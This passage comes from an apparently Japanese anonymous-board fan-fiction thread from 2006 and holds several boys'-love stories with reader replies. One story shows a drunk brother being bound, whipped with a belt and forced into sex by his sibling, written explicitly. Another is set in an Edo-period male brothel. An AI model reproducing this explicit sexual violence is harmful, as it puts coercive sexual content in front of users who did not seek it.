 それで何か情報が得られるわけでもないのに。馬鹿げている。
<ここまで>

スレ汚し失礼しました! <> 風と木の名無しさん<>sage<>2006/10/15(日) 00:24:59 ID:Mndb3J7f0<> >>352
セツナスな先生に大変萌えました
思わず過去スレも漁りにいってしまいました…
(普段棚って見に来ないので、前作知らなかったのです)
そして前作も、その前のグラフネタも大変堪能しました
また是非書いて頂けると嬉しいです!! <> 風と木の名無しさん<>sage<>2006/10/15(日) 05:40:19 ID:EYUcL4J40<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  流石兄弟  えすえむ
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  弟者×兄者
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
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 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 1<>sage<>2006/10/15(日) 05:40:58 ID:EYUcL4J40<>
 自室の異変に気づいたのは家の前だった。
 いつもの灯りが点っていない。
 かといって暗いわけではない。数多くの光源から、無数の光が揺れている。
 慌てて部屋に駆け上がる。無事を確かめたいやつがいる。
 扉を開けて、腰を抜かしそうになった。

 部屋一面に白いローソクが立てられ、不気味な光を放つ。
 火をつけられて長いらしく、滴る蝋が怪奇物のようだ。

「……黒ミサか、一人百物語か」
「何を言う、失敬な」
 その真中に座り込んだ人物が憮然と答える。
「これはロマンティック、というものだ」
「はぁ?」

 数多くのローソクは、仏壇用の品らしい。
 更にローソクの台に注目する。キャンドルスタンドなどという小洒落たものではない。
ただの板切れである。

「…これは母者が意味不明に集めているかまぼこ板ではないのか」
「有効活用だ。ほれ」
 冷えたワインが、マグカップに注がれる。
「これがネット懸賞で当たったのだ。1/144スケールの百式を狙っていたのだがな。
月誕生日も近いことだし、ここは一つ疲れて帰ってくるであろう弟をロマンティックに迎えてやろうと努力してみた」
「月命日なら知っているが、月誕生日なるものは聞いたことがない」
「細かいことは気にするな」
 花まで飾ってある。庭に咲いた白萩が、はかなげな風情で佇んでいる。
ペットボトルにその身を預けて。 <> 2<>sage<>2006/10/15(日) 05:43:21 ID:EYUcL4J40<> 「気持ちは嬉しいが、危ないから片付けよう」
「せっかく飾ったのに」
 不満そうな相手をキスでなだめて、ローソクを消していく。
 全く、いつも意表をつかれる。子供のころ漠然と、こいつと将来付き合う人は苦労するだろうな、
と考えたが、まさか自分とは思わなかった。やあ、オレ。
 もちろん見返りはある。
 オレに向けられる蕩けるような笑顔とか、腕の中で見せる安心しきった表情、何かトラブルを起こしたときの頼りきった瞳、非常にくだらないことを思いついたときの得意げな面持ち。
 閨での艶姿は語るまでもない。むしろ永遠に語りたくなるので自粛。熱い想いは寝台で……。

「あちっ」
「……やはり熱いわけだな」
「何をしやがる!」
 傾けたローソクを垂直に戻し、兄者はひどくまじめに答える。
「よくマンガなどで気持ちよさそうにしている人がいるが、実際のところどうなのか、と思って」
「自分で試せ」
「熱そうだったし」
「ほう、オレが熱いのはかまわないわけですか」
「弟者痛みに強いし」

 けしてそうではない。ただアンタが痛い目をみるくらいなら、代われるもんなら代わりますよ、とは思っている。だからと言ってつまらん遊びで痛みを味わいたいわけではない。
 腹が立つよりめげてきた。こいつはオレを何だと思っているのだろう。
 保護者?恋人?おもちゃ?それとも単なる兄弟?
 暗い気分は止まらない。
 もともとこちらの異常な執着から始まった関係なわけだ。オレを好きになる義理はない。
<> 3<>sage<>2006/10/15(日) 05:44:53 ID:EYUcL4J40<> 「………」
「怒ったのか?」

 心配そうにはするけれど、怒らせて自分に害があるかが不安なんだろう。
 入れ違ったスイッチは、悪い方へと暴走していく。
 笑顔は保護に対する礼で、信頼は利用の別名で、安心は安逸の同義語で。
 こいつには、都合のいい相手でありなおかつ快楽の供給者としての誰かは必要でも、
それがオレである必要はないのではないかと。

「………」
「ゴメン。悪かった。謝る」
 その姿はしおらしくて、やはり胸はときめくわけだが、それでも心は収まらない。
 そうして沸きあがる昏い感情。
 もしオレが苦痛を与える存在になれば、オレのことは嫌いになる?
 今までのことはすっかり忘れて、アンタの憎悪の対象になる?

「……弟者?」
「………許さねぇ」
 どん、と床へ突き飛ばす。驚いて目が丸くなっているのを可愛い、と思ってはいけない。
非情な目つきで睨みつける。
「いつもいつもいいように扱ってくれるよな、アアン?」
 襟首つかんで引き上げる。そのままベッドに押し倒す。
 思いきり乱暴に服を剥ぐ。
 胸の先端に噛みついて、苦痛の声をあげさせる。
 うなじにきつく、痕をつける。
<> 4<>sage<>2006/10/15(日) 05:48:49 ID:EYUcL4J40<> 「下りろ」
 再び下に蹴りおとし、その前に座る。
「そこへ、ひざまづけ」
 低く唸るような俺の声に、ヤツは素直に従おうとする。
「……正座じゃないっ」
 慌てて体勢を変える。
「体育座りでもねぇっ!」
 かっとなったオレは思わず床に下りた。
「こうだ、こう!」
「……なるほど」
「ひざまづく、くらいわからんのか!」
「文章ではよく見るが、イラスト・写真等でキャプション付きで説明してあるのは見たことがない。
膝をつけ、ならすぐわかるが、どうして『ま』なのだろう」
「オレが知るかーーーっ」
 脳天に血が昇る。落ち着け、落ち着くんだオレ。こいつのペースにのってはいけない。

「……とにかく、ひざまづけ」
「わかった」
 再び座りなおしたオレの前で兄者が膝を折る。普段させてない格好に、別の意味で血が昇る。
それを理性で抑えて足を突き出す。
<> 5<>sage<>2006/10/15(日) 05:59:49 ID:EYUcL4J40<> 「指を舐めろ」
「足の?」
「そうだ」
 断ったら、頬の一つもはたいてやる。そんなつもりで目で脅す。
 相手は動かない。さぞかしプライドと闘っているんだろう。
「弟者」
「なんだ」
「おまえさっき、帰るやいなやすごい勢いで上がってきただろう」
「ああ」
 アンタのことが心配だったのですよ、とはもちろん言わない。
「……風呂入ってないんじゃないか?」
 顔が赤くなる。
「15分待っとけ!」
 階段を駆け下りる。半分寝ぼけた母者の文句を聞き流し、光速で入浴する。
上がってくれば案の定、ヤシはFMVの前にいる、全裸で。
<> 6<>sage<>2006/10/15(日) 06:01:22 ID:EYUcL4J40<> 「お帰りぃ、弟者、早かったな」
 少し呂律が回らない。見るとカップが空になっている。こいつは酒に強くない。
「大丈夫か?」
「大丈夫。ダイジョーブ。ひざまづいてらめるんらったけ」
 オレを元の位置に座らせると、よろめきながら膝をつく。
 そしてそのまま半開きの唇をそっと、寄せる。
 そこは濡れていて、ひどくやわらかい。
 指先から腰に、甘い電気が伝わる。
 くすぐったい。くすぐったくて、気持ちいい。
 舌がゆっくりと親指をなぞる。まるでそこがオレの中心であるかのように、体がうづく。
 目は伏せられている。頬は少し上気している。
 めったに見ない真剣な表情で、アイツは俺を咥えている。
 本体に対する奉仕でもないのに、声が出そうになった。
 慌ててそれを飲み込む。目的を忘れてはいけない。
<> 7<>sage<>2006/10/15(日) 06:04:13 ID:EYUcL4J40<>  快感を払い、アイツを押しのけ、立ち上がってベルトを探す。
 きょとん、としている間に後ろ手で縛る。
 泣かせてやる。心底脅えさせてやる。
 惚れた相手をとことん傷つけたい嗜虐心。男なら誰しも持ち合わせがあるはずだ。
「……いい格好だな」
 嘲笑いながら言ってやる。
「……新たなプレイか?」
「いや、本気。本気でオマエを嬲りたい」
「悪趣味らな」
 アルコールのせいですでに膚は薄く色づいている。そこに2本目のベルトを走らせる。
「うひゃあ」

 桜色の膚に濃紅の線(ライン)が通る。理不尽な行為に瞳を潤ませる相手は、とてつもなく色っぽい。
 だがオレの本能は、この視覚的な萌えに寄り添うべきか、聴覚的な萎えに従うべきか戸惑っている。
「……痛いじゃないか」
「痛くしてるんだよっ。それと、そんな間抜けな声で叫ぶな」
「って、ろんな声ならいいのら」
「希望としてはあ行系のかすれ声な」
「アッーーー」
「ざけんじゃねぇ」
 思わず背中にもう一発走らせると、今度は声も出ぬほど痛かったらしく、身を固くして唇を噛んでいる。
 好都合だ。そのままでいろ。
 握ったベルトを捨て、体を抑え、肩に牙を立てる。
 薄く、血が滲んでくる。それを執拗に這わせた舌で舐めとっていく。指は、相手の芯を弄ぶ。
「…好き者だな、これだけ痛い目にあわされても、すぐに勃ちやがる」
 耳もとで囁くと、線がわからなくなるほど膚が染まる。
「すぐにやるよ、いやってほどな」
 今回に限って快楽など与えるつもりはない。奪うだけ奪って、ぼろ屑のようにしてやる。
 予備動作もなく侵入すると、ひどくきつくて、招かれざる客は奥へ進めない。 <> 8<>sage<>2006/10/15(日) 06:07:37 ID:EYUcL4J40<> 「力、抜けよ。今さらだろ」
 いつもは違う。さんざんこいつを蕩かして、甘やかして、羞恥より逸楽のほうに不等号を開かせてやる。
 そうすると、どこか青い固さを残したまま熟れてきて、熱をもって、食べごろのアボカドのように
ねっとりとオレを包み込む。
 ところが今夜のこいつは鏡割り当日まで気合でもたせたモチのように固まってしまって、身動きが取れない。

 再び相手の中心に刺激を加える。耳にわざと荒い息と淫らな言葉を注ぎ込む。
 体が、緩んだ。隙を逃さず最奥まで差し入れる。
 欲望のままの暴走。気遣いのかけらもない行為。
 俺は恋人ではなく捕食者で、アイツは哀れな生贄(ヴィクティム)。喰らいつくされるかわいそうなうさぎ。
跳ねてもどこへも逃げられない。

 滴りを平気で内部にぶちまけて、オレは顔色も変えない。
 そのまま裏返して第二戦。縛られた腕に重みがかかり、ヤシは苦痛を訴えている。
「……知るかよ」
 冷淡に答えて体躯を進める。位置が変わると泣き顔が見える。加虐とそれに興奮して、あえなく果てる刻の短さ。
 さすがにベルトだけは外してやり、へたれた体を膝の上にのせる。そしてまさかの第三戦。
これが若さってものなのかと、クワトロ大尉に言われそう。 <> 9<>sage<>2006/10/15(日) 06:11:23 ID:EYUcL4J40<>  ベッドの軋みに合わせて、雪のような何かが降る。
 ああ、兄者の飾った萩の花だ、と気づいた瞬間血の気が引いた。

 −−−オレはコイツに何してる?
 極めて悪趣味な飾り付けをして、楽しそうに待っていた。
 たとえ少々のいたずらはあっても、これほど酷い目にあわせていいわけがない。
 慌てて抜いて、抱きしめる。ぐったりとして声もない。

 些細なきっかけで覗き込んだ深淵。
 それはオレの顔で、オレの目で、こちらを見返す。
 恐怖に駆られて、オレに似て、オレではない人にしがみつく。
 腕の中の人は力なく左腕をあげ、オレの背中をちょっと叩いた。
「………無茶しやがる」
 しゃべりにくそうに、かすれた声でつぶやく。酔いはすっかり覚めたらしい。
「どーすんだ、これ」
 腕に、うなじに、身体に痕。
 シーツと敷布が大損害。
 こっちはしゅんとして声も出ない。

「落とし前はつけてもらう」
 たとえ同じ目にあわされても、オレの罪は消えないだろう。 <> 10<>sage<>2006/10/15(日) 06:13:37 ID:EYUcL4J40<>  兄者はしばらく何か考えていたが、ふいにひどく得意そうな顔になった。
「そうだ。妹者に頼んでオナモミを集めてもらおう」
「?」
「あの棘だらけのチクチクした実をおまえの服の中に入れて、上から一つ一つつぶしていく」
「ひ」
「それから姉者の友達の飼っているウミウシを貸してもらう。
それを裸にしたおまえにのせてうにょうにょ、と」
「ひぃ」
「こんにゃくをゆでて熱いやつをどんどんのっけていって、落としたらお仕置き、ってのもいいな」
「…それ自体がすでにお仕置きなのでは」
「なんにしろ恐ろしかろう」
「……確かに」
 どうして咄嗟にこんなにくだらないことを思いつくのだろう。

 兄者はくて、と枕に頭を落とした。
「………疲れた」
 言葉と同時にすでに眠っている。その寝顔にキスをする。

 傷の手当てをして、清潔にしてやって、部屋を片付けて。
 上手い言い訳を考えて、シーツと敷布を取り替えて。

 しなければならないことは山ほどあるが、5分、5分だけこのままでいさせてくれ。
 オレがこの人の横から身体を離す決意が付くまで。
                                   (了) <> 風と木の名無しさん<>sage<>2006/10/15(日) 06:15:55 ID:EYUcL4J40<>  ____________
 | __________  |
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 | | □ STOP.       | |
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 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/15(日) 11:49:05 ID:66TPncea0<> >>360
GJ!! ちりばめられた2系の小ネタにワロタw <> 風と木の名無しさん<>sage<>2006/10/15(日) 16:18:18 ID:JcgmX5A60<> >>360
禿ワロスwwwww
GJGJ!!!カマボコの板にまず吹いたwwww <> 風と木の名無しさん<>sage<>2006/10/15(日) 19:32:20 ID:oXREaIl+0<> >>360
ワロタモエタwwww <> 風と木の名無しさん<>sage<>2006/10/16(月) 01:51:23 ID:YI8l8WqD0<>  ____________
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 | | |> PLAY.      | |
 | |                | |           ∧_∧ 本人一応801のつもりで書いてたのに
 | |                | |     ピッ   (・∀・ ) 出来上がってみるととっても普通だった
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 昆布区路の「ギター関白宣言」1<>sage<>2006/10/16(月) 01:53:11 ID:YI8l8WqD0<>
( “∀“)<お前とミリオンを出す前に言っておきたい事がある
     かなりきびしい話もするが 俺の本音を聴いておけ
                                     (■ω■ )


( “∀“)<俺より前で映ってはいけない 俺より後ろで歌ってもいけない
歌詞は間違えるな 曲説はちゃんと聞け

( “∀“)<できる範囲でかまわないから


( “∀“)<忘れてくれるな 曲も語れない男に 
セルフプロデュースなどできるはずなどないってことを

     お前はお前にしか できないこともあるから
     それ以外は口出しせず 
     
     
( “Д“)< 黙 っ て 俺 に つ い て こ い !     
                                     (■ω■* ) <> 昆布区路の「ギター関白宣言」2<>sage<>2006/10/16(月) 01:54:43 ID:YI8l8WqD0<> ( “∀“)<お前の地元と俺の地元と どちらも同じだ大切にしろ
      歌とMC 賢くこなせ たやすいはずだ盛り上げればいい
( “∀“)<アンチの中傷聞くな気にするな
      それからつまらぬ嫉妬はするな



( “Д“)<俺はプロデューサーにはならない!!




( “д“)<…………たぶんならないと思う
( “д“)<………………ならないんじゃないかな?
          
(;“∀“)<ま、ちょっと覚悟はしておけ
                                (■ω■# )



( “∀“)<音楽は二人で 育てるもので
      どちらかが苦労して 作るものではないはず
     
( “∀“)<お前は俺のところで 楽器もなく歌うのだから
      行く場所はないと思え これから俺がお前のステージ
      <> 昆布区路の「ギター関白宣言」3<>sage<>2006/10/16(月) 01:56:27 ID:YI8l8WqD0<>
( ´“∀“)<ブームが去って最盛期を過ぎたら 俺より先に引退してはいけない
      例えばわずか一日でもいい 俺より早く引退してはいけない
      何もいらない 脇汗をかいて 歌詞のひとつふたつ忘れればいい

( “∀“)<お前のおかげで いい音楽人生だったと
     俺が言うから……必ず言うから……

( “Д“)<忘れてくれるな 俺の愛するヴォーカリストは
     愛するヴォーカリストは 生涯お前ひとり
     忘れてくれるな 俺の愛するヴォーカリストは
     
     愛するヴォーカリストは 生涯お前ただひとり!

                                        (■ω■* ) <> 風と木の名無しさん<>sage<>2006/10/16(月) 01:58:33 ID:YI8l8WqD0<>  ____________
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 | | □ STOP.       | |
 | |                | |           ∧_∧ 本スレで書かれたネタの続きが書きたかった
 | |                | |     ピッ   (・∀・ ) ちょっぴり後悔している
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
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<> 風と木の名無しさん<>sage<>2006/10/16(月) 02:32:08 ID:VYu7U9ZQ0<> 厨が!
と書かれた形式を一見して思ったが
変換上手くて萌えた。 <> 風と木の名無しさん<>sage<>2006/10/16(月) 04:41:09 ID:RrBc578u0<> なんかよく分からんが・・・感動した! <> 風と木の名無しさん<>sage<>2006/10/16(月) 07:34:47 ID:FnE2/vk80<> うわー、厨か?と思ったが… これはいい!
何だかものすごい良かったぞ。 <> 風と木の名無しさん<>sage<>2006/10/16(月) 11:16:04 ID:TAN8dW3o0<> >>375
カソパク宣言じゃないほうの元ネタ分からんが萌えたワロタ。 <> 風と木の名無しさん<>sage<>2006/10/16(月) 11:21:03 ID:kZvvA3vG0<> 書いてあるのにー <> 風と木の名無しさん<>sage<>2006/10/16(月) 12:37:51 ID:hoXPNGSl0<> 書いてあるね <> 風と木の名無しさん<>sage<>2006/10/17(火) 01:20:11 ID:Rjfa3Hj20<> コ.ブ.ク.ロをまったく知らん私でも笑えたという意味では?
ちなみに私もコ.ブ.ク.ロは名前しか知らん
それでも充分萌えたしワロタ <> 風と木の名無しさん<>sage<>2006/10/17(火) 04:25:26 ID:9QMkmDA20<> 流石兄弟萌えた
アリガトン <> 風と木の名無しさん<>sage<>2006/10/17(火) 19:49:06 ID:2B3HcPX40<> >>360-371
前にも流石兄弟書いてた人かな
面白いけど既に口調が流石もなにも……なカンジになってきたキガス
ぶっちゃけオリジナルでも問題無さげな気もするが <> 風と木の名無しさん<>sage<>2006/10/18(水) 01:42:21 ID:4Y8nPFJZ0<> 全てはネタ <> 風と木の名無しさん<>sage<>2006/10/18(水) 19:00:41 ID:9Vx0A4qQ0<>
                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  イ反面ライ夕”ー隆起の朝倉×北丘
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  でも何故か吾朗のモノローグで。
 | |                | |             \
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 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

一応352の続き。 <> 1/1<>sage<>2006/10/18(水) 19:01:49 ID:9Vx0A4qQ0<> 吾朗はもう動かない北丘の胸に花束を置いた。
朝倉と北丘の間に関係が生じた事を湯良吾朗はなんとなくわかっていた。具体的な証拠は無かった。
それは北丘のスラックスの折り目がずれているとか、髪が微妙に崩れているとかとても些細なことではあったけども、
北丘は変わったと思うし、朝倉も変わったと思うし、北丘と朝倉の関係も変わったと思う。
むしろ吾朗は二人の間に関係が生じる前からこの事を予見していた。
だから吾朗は朝倉を殺そうとした。二人がその事に気づく前に。
朝倉が弁護人として北丘を指名したのはただのあてずっぽうとか、そんなような類であって、
まさか本当に北丘が来るとは思っていなかったと思うのだ。でも北丘は依頼を受けた。
でも朝倉がライ夕"−にならなければ、きっとそれで終わっていた。
弁護士と犯罪者、ライ夕"−とライ夕"−、北丘修一と朝倉武、それらのことは全て独立しているようで一つに繋がっている、
同じようで微妙に違う、ベン図だ。
北丘の中には吾朗とか恵みとか玲子さんとか木戸とか亜紀山とかマグナギ力"戦いとか仕事とかお金とか先生自身とか
そういうものがそれぞれの位置を占めていて、朝倉も又北丘の中である位置を持ったに過ぎない。
それは、先生の一番深いところではあったけれども。

緑色のデッキを持って吾朗は考える。
これから結婚式に行くのだ。花嫁は先生で俺は仲人で朝倉は花婿だ。招待状は俺の命だ。早く来い、

お前も早く死ね。 <> 風と木の名無しさん<>sage<>2006/10/18(水) 19:05:13 ID:9Vx0A4qQ0<>
                   
                    
 ____________ 
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本当は352の後すぐ朝倉のモノローグに突入しようかと思ったのだが
吾朗に全く触れないのもどうかと思った。 <> 風と木の名無しさん<>sage<>2006/10/18(水) 19:07:34 ID:9Vx0A4qQ0<> 前回レスをくれた人d。
ちなみに一応スレ19にもつまらない話を投下している。 <> 風と木の名無しさん<>sage<>2006/10/20(金) 03:56:53 ID:WLGVl/340<> 保守っておく <> 風と木の名無しさん<>sage<>2006/10/20(金) 16:25:48 ID:WcFabQAs0<>                  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |某舞台役者でパラレル設定江戸風味陰間ネタ
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  2ヶ月前に投下したものの続きです
 | |                | |             \
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<> 1/3<>sage<>2006/10/20(金) 16:26:52 ID:WcFabQAs0<> 中秋の名月も近い秋の最中。
料亭や茶屋の軒の連なるこの花街界隈にも、どこからともなく鈴虫の音が聞こえてくる。
が、その音に耳を傾けることもなく、峯輝は茶屋の廊下の片隅でただじっと線香のほのかな灯火を見つめていた。
時刻を計るための線香は、客が座敷に入った時に点される。
その灯火が消えるまでが、陰間と共に過ごせる時間なのだ。
夜も更け、客足の大方は途絶えた。
最後の線香が燃え尽きたのを確認した峯輝は、一番奥の座敷へと向かった。
用心棒という名目で雇われている峯輝だが、客を選ぶこの茶屋では酔った客が陰間に乱暴をはたらく……などということは滅多になく、もっぱらの仕事は陰間の身の回りの世話である。
そして、客の案内や時間を告げることも峯輝の仕事であった。
「あぁん!」
障子を通して、藍音の甘い嬌声と荒い息遣いが聞こえてくる。
しかし峯輝はまったく表情を変えることもなく
「お時間でございます」と障子越しに告げた。
まもなくして、身なりを整えた客が座敷からでてきた。
名残り惜し気に座敷のほうを振り返ると「また寄らせてもらうよ」と声を掛ける。
そして出口まで案内する峯輝に
「あいつは上玉だな。咲き始めかと思ったが客を悦ばす手段をよう知っておる。あの締め付けはたまらんな」
下卑た笑いを浮かべながら話しかけてきた。
峯輝は再び顔色ひとつ変えずに
「またのお越しを」とだけ返答した。

<> 2/3<>sage<>2006/10/20(金) 16:28:54 ID:WcFabQAs0<> 客を表まで見送ったのち、熱い湯をはった桶と木綿の布を手に再び奥の座敷に向かった。
それらを受け取った藍音は、峯輝が目の前にいるのも気にする様子もなく後始末をはじめる。
湯を絞った布で躯を清めると、肌蹴た着物はそのままに畳の上に腰を下ろした。
「ああ疲れた。ねちっこい客でさ。一見さんだと好みがわからないからさぁ、余計に気を遣うんだよね」
と、銚子に残っていた酒をあおりながら愚痴る。
「……お前ほど常連客がいれば、一見の客の相手なんかする必要はないんだろう?」
この茶屋一の器量と床術を持つ藍音を再び一晩の相手に、と望む客は後を断たない。
しかし藍音は、自らの意志で常連客を相手するのと同じ割合で一見客も取っていた。
「なにか理由でもあるのか?」
「……別に。」
「……まるで誰かを待っているみたいだな」
峯輝の言葉に、藍音の目に一瞬の動揺が走る。
「……あんたには関係ない」
動揺を悟られまいと視線をそらすと突き放すような物言いで答える。
「そうだな」
藍音の心中を察した峯輝は、話を打ち切り立ち上がった。
「なに?僕に興味あるの?」
すっかりぬるくなった湯の桶を手に部屋を後にしようとした峯輝に藍音が言葉を投げた。
無口の峯輝が仕事以外のことを口にするのは珍しいことだった。
今から半年ほど前。どこからともなくこの街にやってきた峯輝は、茶屋の目の前の通りで刃物を持って暴れる大の男を素手で取り押さえるという大物捕りをしたのだった。
その腕っぷしを見込まれ、この茶屋の用心棒として雇われたのだったが、
この街に流れ着く前にどこにいたのか、なぜ流れ者となたのかなどということは一切わからない。
どこぞの大名に仕えていただの、将軍家の庭番だっただの、実は鷹匠だっただの、
様々な噂や憶測が陰間の間で囁かれていたが、本人が過去のことをまったく口にしない為に真実を知りようがなかった。
――そんな男の目を自分に向けさせる。
……面白そうな遊びだ。
<> 3/3<>sage<>2006/10/20(金) 16:29:36 ID:WcFabQAs0<> 先ほどの態度から一転し、口元に艶っぽい微笑を浮かる。
「興味あるなら……特別に、相手してあげてもいいよ?格安にしてあける。あんたのこと、嫌いじゃないし」
上目使いで誘い文句を口にする。
気位を高く。けれど甘えるように。
この目線に堕ちない男など、一人もなかった。
だが。
「生憎、そういう趣味はない」
「……っ!誰のおかげで仕事ができると思ってるのさっ!」
自分が客を相手にして稼いでるからなのに。
自尊心を傷つけられた藍音は頬を真っ赤に染め抗議する。
「ここでの仕事がなくなれば他に行くだけだ」
淡々とした口調でそう告げると、峯輝は今度こそ部屋をでた。


『まるで誰かを待っているみたいだな』
……なぜ、あんなことを口にしたのだろう自分は。
他人に関心をよせることなどなかったのに。
ただ、何度となくみた、あの「表情」 がそうさせたのか……
藍音が座敷にあがる時、廊下の隅で控える自分が見る、一瞬の光景。
障子を開け、客と目線を交わし、極上の笑顔を作る前にみせる落胆の表情を。
待っていた人物と違う、とでもいうような。
客に気付かせることもないほんの一瞬のことだ。おそらく本人すら気付いていないのだろう……

一体こんな場所で誰を待つというのだろう。

――否、自分には関係のないことだ。

自分の中に芽生えた感情に、峯輝はまだ気付いていなかった。
<> 風と木の名無しさん<>sage<>2006/10/20(金) 16:32:04 ID:WcFabQAs0<> | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 復讐相手の登場までいかなかった…Orz
 | |                | |     ピッ   (・∀・ ) 時間ができたら完結編までかんかります。
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
<> 風と木の名無しさん<>sage<>2006/10/20(金) 19:56:42 ID:AVQQ+3JO0<> >395
ぜひかんかってください! <> 風と木の名無しさん<>sage<>2006/10/20(金) 22:10:25 ID:7SL2GM0G0<> >395
(*^ー゚)bグッジョブ! <> 風と木の名無しさん<>sage<>2006/10/22(日) 04:27:25 ID:zBq1mDe30<>  ____________
 | __________  |
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 | | □ HOSYU        | |
 | |                | |           ∧_∧      .∧∧  ∧_∧
 | |                | |     ピッ   (・∀・ )      ( ,,゚Д))( *´Д`)
 | |                | |       ◇⊂    ) __ ./ つ/ /o  つ
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |~( ヽっ ( (  /
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | )ノω  )ノ)_ノ
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/22(日) 14:43:53 ID:v6EUTvmS0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                    |  キム/タクと唐/沢がドラマで共演したらという妄想からだモナー
 ____________  \         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄V ̄ ̄|  勝手に作ったオリジナル作品だカラナ
 | |                | |            \
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 | |                | |           ∧_∧ ∧_∧ ∧∧ 以前投下の続きのような単発、キム×唐だゴルァ!!
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ ) ※本人とはなんの関係もありません
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 1/5<>sage<>2006/10/22(日) 14:44:41 ID:v6EUTvmS0<> 一週間出張だった俺は、久々に空沢さんの待つ我が家に帰った。
きっと洗濯物とかいっぱい溜まってんだろうなぁなんて思いながら
俺はちょっとウキウキしてた。
久々に逢えるのがすげぇ嬉しくて、帰りにウマイ中華屋で持ち帰りなんか頼んだりして。

玄関を開けようと鍵を差し込む。
あーもうすぐ逢える。顔がニヤける。
まず飯温めて洗濯してそんで、隙見て抱きつこ。
なんて考えながらドアを開けたら、開いた途端、空沢さんの姿が目に飛び込んだ。
ていうか。…なんか、なんでそこに居んの?
玄関からまっすぐ廊下が続いていて、その先にドアがあってドアを開けるとリビングなんだけど
そのリビングのドアは開いていて、そんでそこに空沢さんが立っていて、こっちを見ていた。
別に出迎えにきてくれたわけじゃないけど。リビングから全然出てきてないけど。
でもなんか、…いつもはリビングのドアって閉まってるし、空沢さんも自分の部屋に居るか、
リビングのソファに座っているからなんか…
「あ、ちす…。」
「…あぁ。お疲れ。」
そのままソファに向かったみたいで空沢さんは見えなくなった。
偶然?え?でもちょっと出迎えてくれてなかった?考えすぎ?
とりあえず即行靴脱いでネクタイゆるめながら俺もリビングに向かった。 <> 2/5<>sage<>2006/10/22(日) 14:45:25 ID:v6EUTvmS0<> 「中華買って来たんすよ。飯まだですよね?」
「ん…」
空沢さんが言葉に詰まる。
「あれ?食っちゃいました?」
なーんだ…
「いや…」
なんか様子がおかしい。とりあえず温めようとキッチンに向かおうとして目に飛び込んできた光景に俺は止まった。
「え…?」
「俺はそれ食うから、お前中華食えよ。」
「え?ていうか、え??これ、空沢さんが作ったんですか?」
「…。」
